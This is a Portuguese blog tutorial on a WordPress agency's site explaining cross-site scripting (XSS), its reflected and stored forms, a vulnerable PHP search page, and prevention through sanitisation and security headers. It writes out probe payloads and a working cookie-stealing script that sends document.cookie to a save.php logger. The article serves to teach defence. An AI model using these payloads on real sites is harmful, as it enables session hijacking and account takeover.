Início » Segurança para WordPress » Entenda o que é e como funciona o Cross Site Scripting (XSS)
Segurança para WordPress

Entenda o que é e como funciona o Cross Site Scripting (XSS)

Cross-Site Scripting - XSS é um tipo de injeção, em que scripts maliciosos são injetadas em uma página arbitrariamente, saiba como funciona.
Escrito Por Leandro Vieira em setembro de 2016 /7 min de leitura
Conteúdo escrito por humano
xss-destaque

(XSS) Cross-Site Scripting – é um tipo de injeção, em que scripts maliciosos são injetadas em sites de outra forma confiável. ataques XSS ocorrem quando um invasor usa uma aplicação web para enviar código malicioso, geralmente na forma de um script do lado do navegador, para um usuário final diferente. Falhas que permitem que estes ataques para ter sucesso são bastante generalizadas e podem ocorrer em qualquer lugar que uma aplicação web usa a entrada de um usuário dentro da saída que é retornada sem validar ou higienizá-lo.

Para que serve o XSS?

Um hacker utiliza uma falha XSS para aplicar um script em uma página desprotegida, devido a flexibilidade da inserção de scripts o browser fica impossibilitado de e compreender ou validar se o script é ou não de uma fonte confiável e assim irá executar a instrução inserida de forma arbitrária, após a inserção o browser irá considerar o script como parte da página assim  script obterá acesso aos cookies, dados de sessão e a qualquer outro recurso que faça parte da página inclusive a árvore DOM, podendo até mesmo alterar o conteúdo da página.

Um ataque XSS acontece em vários senários, mas os mais comuns são quando:

  • Uma entrada é inserida de uma fonte não confiável.
  • Uma entrada é inserida de uma fonte não confiável e não existe validação antes de seu uso.

O código malicioso pode conter instruções javascript, marcação ou qualquer outro tipo de conteúdo que o browser possa executar. Ataques XSS podem manipular o navegador em uma infinidade de maneiras, porém as mais utilizadas são roubo de cookies ou sessões, fazendo o navegador entregar estes dados a um servidor remotamente.

Tipos de ataque

  • Reflected XSS
    • Acontece quando um servidor deliberadamente exibe dados passados para aplicação, como por exemplo uma página de resultado de busca, mensagens de erro e qualquer outra forma que o servidor esteja retornado parâmetros passados sem validação ou higienização. Isso é comumente usado em casos onde o usuário irá confiar na URL que está na barra de endereço, por se tratar de uma URL “legítima”, porém infectada.
  • Stored XSS
    • Quando um servidor salva a entrada maliciosa em seu banco de dados, assim o servidor não valida a saída e a retorna da maneira explícita na qual se encontra no banco de dados.

Métodos de injeção

Observe o código abaixo:codigo-vulneravel-xss

Mas o que tem de errado com o código acima? Levando em consideração o objetivo principal do PHP que é gerar páginas da Web, isso demonstra um problema no que se diz respeito a injeção de código arbitrário. Pense comigo, da maneira que o código foi implementado eu posso facilmente injetar um script passado pela URL, e ele automaticamente será interpretado pelo browser como parte da página. Abaixo irei demonstrar como isso pode ser feito.

Se pararmos para analisar, a URL processa uma requisição do tipo GET, que consiste em passar parâmetros diretamente na querystring formada. Neste caso teŕiamos.
?query=Sua+busca

Que pode facilmente ser alterado para:

?query=<script>alert('XSS')</script>

?query=<script>alert(1337);</script>

O bloco de código acima irá fazer com que a aplicação insira diretamente a entrada maliciosa em sua marcação exibida no navegador, que por sua vez, irá assumir a entrada como parte do site. Assim podendo executar ações restritas à visitantes. Como podemos ver no exemplo abaixo:pagina-infectada

Viu como é fácil, agora provavelmente um alerta será exibido pelo browser, estranho, né? Como é fácil manipular a saída quando ela não é higienizada. Dessa forma poderíamos fazer algo até mais elaborado, por exemplo, roubar os cookies da sessão atual do usuário e assumir o controle da sessão. Vamos implementar um código que faria isso.

Prevenção

Nunca se esqueça de validar a entrada dos usuários e a saída quando é retornada para view. Todo input, textarea e até mesmo parâmetros de querystrings nas URLs, devem ser higienizados e nunca adicionados diretamente na marcação.

Você deve também utilizar headers específicos que farão o navegador identificar e não avaliar o conteúdo injeto como válido.

  • Sanitize todas as entadas de usuários
  • Defina um rigoroso conjunto de padrões permitidos
  • Sanitize também as saídas que serão imprimidas na tela
  • Nunca insira a entrada do usuário diretamente no banco de dados
  • No caso de uma resposta ajax, defina o cabeçalho correspondente ao tipo de resposta que esteja esperando.
  • Nunca utilize eval()
  • Adicione cabeçalhos de segurança contra XSS
    • X-XSS-Protection: 1; mode=block Ativa a proteção no navegador
    • X-Content-Type-Options: nosniff Evita que código JavaScript seja inserido em imagens ou atributos de elementos.
    • Content-Security-Policy: script-src O mais importante, que evita praticamente toda entrada XSS em potencial.

Problemas causados

Em grande parte das ocorrências, o objetivo principal é o roubo de informações sensíveis quem em certos casos podem dar total acesso ao interior da aplicação. Vamos ilustrar abaixo como é relativamente simples de se explorar uma aplicação vulnerável a XSS.

Primeiro passo é identificar uma aplicação vulnerável, já havíamos abordamos isso antes.

?query=“><script>alert(‘XSS’)</script>

xss-indentificado

Pronto, agora que o hacker já sabe que a aplicação está vulnerável, ele pode direcionar ataques. Iremos demonstrar como ele pode facilmente roubar cookies de sessão. O payload que iremos usar é o seguinte.

payload-xss

Após inserir isso na querystring da URL iremos obter uma página contendo uma imagem. O atributo src irá tentar acessar a imagem por meio de sua URL, levando consigo o cookie que será gravado em um arquivo no servidor remoto.

?query=“><script>i=new Image();i.src=[“http://localhost/xss/save.php?cookie=”,document.cookie].join(”);document.body.insertAdjacentHTML(‘beforeend’,i.outerHTML);</script>

injected-xss

Arquivo save.php

save-xss

Tudo que for passado para o arquivo save.php usando o parâmetro da querystring ‘cookie’ (/save.php?cookie=VALOR), será automaticamente escrito no arquivo f2SWwFJ78RFVQOjZE1qLXE.txt e seu conteúdo pode conter cookies ou dados de sessões que podem ser utilizados para assumir o controle da conta de usuários.

Além disso é possível obter muitos outros dados(resolução de tela, sistema operacional, hora da máquina, versão do navegador etc…), uma vez que estamos no controle do navegador via JavaScript. No exemplo abaixo, listo todos os cookies contidos no domínio.

cookies-xss

Conclusão

Em todos os artigos sempre reforçamos o uso do bom senso, isso é impressível para o bom funcionamento da aplicação como um todo. A forma como você manipula as entradas também é um ponto importante. O WordPress possui em seu core alguns métodos que poderão lhe ajudar a mante-lo cada vez mais seguro, inclusive contra XSS, os links se encontram abaixo.

Referências:

Leandro Vieira

Uma das grandes referências de WordPress no Brasil, entusiasta e evangelista da plataforma. Fundador e CEO da Apiki, empresa especializada no desenvolvimento web com WordPress.
Qual nota você da para este artigo?
Ruim

O que você achou disso?

Clique nas estrelas

Média da classificação 5 / 5. Número de votos: 1

Nenhum voto até agora! Seja o primeiro a avaliar este post.

Excelente
Artigos Relacionados

Palestra “Repita 7 vezes: o WordPress é seguro”

  1. Rodrigo Vieira da Silva
    Obrigado, Guilherme depois dessas dicas vou me aprofundar no assunto e verificar meus projetos.
    1. Guilherme Henrique
      Não há de que Rodrigo. Muitas vezes este tipo de falha é negligenciada, mas como podemos ver ela pode ser bastante séria. Qualquer dúvida estou a disposição, e bons estudos!
  2. […] plugins. Caso contrário, e com absoluta certeza, seu projeto estará vulnerável a SQL Injection, XSS e vários outros tipos de […]
  3. […] plugins. Caso contrário, e com absoluta certeza, seu projeto estará vulnerável a SQL Injection, XSS e vários outros tipos de […]
  4. […] plugins. Caso contrário, e com absoluta certeza, seu projeto estará vulnerável a SQL Injection, XSS e vários outros tipos de […]
  5. […] Ataques do tipo XSS é muito, muito comum. E a razão são simples: é fácil de encontrar alvos com essa brecha. […]
  6. […] plugins. Caso contrário, e com absoluta certeza, seu projeto estará vulnerável a SQL Injection, XSS e vários outros tipos de […]
  7. […] Evitar ataques XSS é simples. Mas você precisa conhecer do assunto, saber como funciona e fazer uso das funções nativas do WordPress para evitá-los. […]
  8. […] Evitar ataques XSS é simples. Mas você precisa conhecer do assunto, saber como funciona e fazer uso das funções nativas do WordPress para evitá-los. […]
  9. […] Cross Site Scripting (XSS); […]

Construa seu site WordPress sob medida com os maiores especialistas em WordPress da America Latina
Conheça a Apiki

Faça um comentário
Cadastre-se rápido

Fazer Login